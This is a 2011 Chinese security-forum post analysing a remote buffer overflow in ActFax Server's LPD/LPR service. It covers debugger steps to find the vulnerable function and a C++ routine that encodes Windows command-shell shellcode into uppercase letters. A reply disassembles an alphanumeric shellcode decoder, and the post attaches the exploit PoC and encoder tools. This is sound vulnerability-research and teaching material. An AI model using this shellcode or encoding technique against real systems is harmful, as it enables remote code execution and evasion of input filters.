[原创]ActFax Server (LPDLPR) Remote Buffer Overflow Exploit分析-软件逆向-看雪-安全社区|安全招聘|kanxue.com

[原创]ActFax Server (LPDLPR) Remote Buffer Overflow Exploit分析

2011-2-21 21:37 6120

[原创]ActFax Server (LPDLPR) Remote Buffer Overflow Exploit分析

kkmylove

2011-2-21 21:37

6120

标题: ActFax Server (LPDLPR) Remote Buffer Overflow Exploit分析
作者: kkmylove
时间: 2011-02-21
链接: http://bbs.pediy.com/showthread.php?p=927998#post927998
●

漏洞来源：

http://www.exploit-db.com/exploits/16176/
●

bug函数定位

在004A4B7D下断点，运行程序（F9），调用漏洞利用程序，
这时程序断在004A4B7D 这里，看堆栈，找到返回程序领空的返回地址。这里一直往下翻，找栈回溯。要翻很远。才能找到一个堆栈的返回地址。
这里我找到

在call处下断点
重新启动程序，然后启动poc程序，程序断在call处。
Ctrl+F8运行
等一会，程序断在了004A4B7D
按小键盘上的“-”减号
出现代码如图所示

选中call一行，直接回车，来到0046CEA0处。即为导致溢出的函数。
●

Bug函数分析

Bug利用

漏洞利用程序使用了存字母的shellcode，本人能力有限，就不在此误人子弟了。收集了一些字母shellcode的资料，分享给大家。
转：http://www.7747.net/kf/201012/80407.html
算法描述：将字符取前、后4位各加上一个key(例如0x41)，分解为两个字符。

shellcode字符范围为0x00 - 0xFF 为2^8 = 256个字符，每个字符拆解过后的两个部分取值范围为2^4 = 16 = 0x10

加上一个适当的key，以0x41为例每个部分取值范围为0x41 - 0x51 即为ascii码的A - Q，所以全部是A-Q的大写字母。

当然，在会被转换成小写的时候(如Cmail hello 溢出漏洞)，选用0x61为key，就得到全小写字母的字符范围。

算法代码示例（C++）

base16.cpp:

#include <stdio.h>

typedef struct _Byte_base16
{
unsigned o1 : 4;
unsigned o0 : 4;
}Byte_base16, *PByte_base16;
unsigned char shellcode[] =
"\x33\xC0"          //    xor    eax, eax
"\x66\xB8\x72\x74"    //    mov    ax, 7472
"\x50"                //    push eax
"\x68\x6D\x73\x76\x63" //    push 6376736D
"\x54"                //    push esp
"\xB8\xcf\x05\xe7\x77" //    mov    eax, 0x77e705cf
"\xFF\xD0"          //    call eax
"\x99"                //    cdq
"\x66\xBA\x63\x6D"    //    mov    dx, 6D63
"\x52"                //    push edx
"\xC6\x44\x24\x02\x64" //    mov    byte ptr [esp+2], 64
"\x54"                //    push esp
"\xB8\xbf\x8e\x01\x78" //    mov    eax, 0x78018ebf
"\xFF\xD0"          //    call eax
"\x99"                //    cdq
"\x52"                //    push edx
"\xB8\x1a\xe0\xe6\x77" //    mov    eax, 0x77e6e01a
"\xFF\xD0";          //    call eax

int main(int argc,char* argv[])
{
unsigned char key = 0x41; //key to base16
PByte_base16 p;
int i = 0;
while(shellcode[i])
{
  p = (PByte_base16)(&shellcode[i++]);
  printf("%c%c",p->o0 + key,p->o1 + key);
}

return 0;
}
poc
16176.rar
漏洞程序
actfax_setup_en.part1.rar
actfax_setup_en.part2.rar
actfax_setup_en.part3.rar
actfax_setup_en.part4.rar
字母shellcode资料
alpha2.rar
黑防2008.4.rar

[培训]《安卓高级研修班(网课)》月薪三万计划，掌握调试、分析还原ollvm、vmp的方法，定制art虚拟机自动化脱壳的方法

上传的附件：

16176.rar （1.42kb，14次下载）
alpha2.rar （13.61kb，16次下载）
黑防2008.4.rar （178.49kb，23次下载）
actfax_setup_en.part1.rar （2.38MB，44次下载）
actfax_setup_en.part2.rar （2.38MB，32次下载）
actfax_setup_en.part3.rar （2.38MB，41次下载）
actfax_setup_en.part4.rar （247.41kb，22次下载）
clip_image001.jpg （12.02kb，163次下载）
clip_image002.jpg （69.29kb，170次下载）

收藏・2

点赞・6

打赏

最新回复 (3)
仙果雪币： 1487 活跃值： (955) 能力值： (RANK：860 ) 在线值：发帖 66 回帖 1509 粉丝 60 关注私信	仙果 19 2011-2-24 08:52 2 楼 0 不错，支持，，，呵呵，
yoke 雪币： 230 活跃值： (10) 能力值： ( LV3，RANK：20 ) 在线值：发帖 3 回帖 27 粉丝 0 关注私信	yoke 2011-2-24 12:50 3 楼 0 seg000:0100 push di seg000:0101 pop cx seg000:0102 dec cx seg000:0103 dec cx seg000:0104 dec cx seg000:0105 dec cx seg000:0106 dec cx seg000:0107 dec cx seg000:0108 dec cx seg000:0109 dec cx seg000:010A dec cx seg000:010B dec cx seg000:010C dec cx seg000:010D dec cx seg000:010E dec cx seg000:010F dec cx seg000:0110 dec cx seg000:0111 dec cx seg000:0112 aaa seg000:0113 push cx seg000:0114 pop dx seg000:0115 push 41h seg000:0117 pop ax seg000:0118 push ax seg000:0119 xor [bx+di+30h], al seg000:011C inc cx seg000:011D imul ax, [bx+di+41h], 51h seg000:0121 xor al, [bx+di+42h] seg000:0124 xor al, [bp+si+42h] seg000:0127 xor [bp+si+42h], al seg000:012A inc cx seg000:012B inc dx seg000:012C pop ax seg000:012D push ax seg000:012E cmp [bx+di+42h], al seg000:0131 jnz short near ptr 17Dh seg000:0133 dec cx seg000:0134 jb short near ptr 17Ch seg000:0136 dec di seg000:0137 jno short near ptr 193h seg000:0139 push 79h seg000:013B outsw seg000:013C xor al, 4Fh seg000:013E xor [bp+si+50h], dx seg000:0141 push dx seg000:0142 jb short near ptr 18Eh seg000:0144 ja short near ptr 1B8h seg000:0146 push bx seg000:0147 push 4D58h seg000:014A jbe short near ptr 19Ah seg000:014C jnz short near ptr 1BAh seg000:014E jnz short near ptr 1A5h seg000:0150 inc dx seg000:0151 jp short near ptr 195h seg000:0153 push sp seg000:0154 dec dx seg000:0155 dec di seg000:0156 outsw seg000:0157 dec ax seg000:0158 xor dl, [bx+74h] seg000:015B jo short near ptr 1CDh seg000:015D xor [bx+si+74h], dl seg000:0160 dec sp seg000:0161 dec bx seg000:0162 js short near ptr 1DEh seg000:0164 insb seg000:0165 outsw seg000:0166 jb short near ptr 1BDh seg000:0168 pop cx seg000:0169 jp short near ptr 1D7h seg000:016B outsw seg000:016C xor dl, [di+48h] seg000:016F db 67h seg000:016F dec bx seg000:0171 dec di seg000:0172 dec bx seg000:0173 push di seg000:0174 inc cx 这段应该是eggedi，解密shellcode的。解码方式跟这个http://bbs.pediy.com/showthread.php?t=113227 差不多，有优化。cx代替了ecx。
instruder 雪币： 146 活跃值： (182) 能力值： ( LV13，RANK：220 ) 在线值：发帖 37 回帖 442 粉丝 5 关注私信	instruder 4 2011-7-12 00:05 4 楼 0 lz和ls的。。。
	游客登录 \| 注册方可回帖　回帖　表情雪币赚取及消费高级回复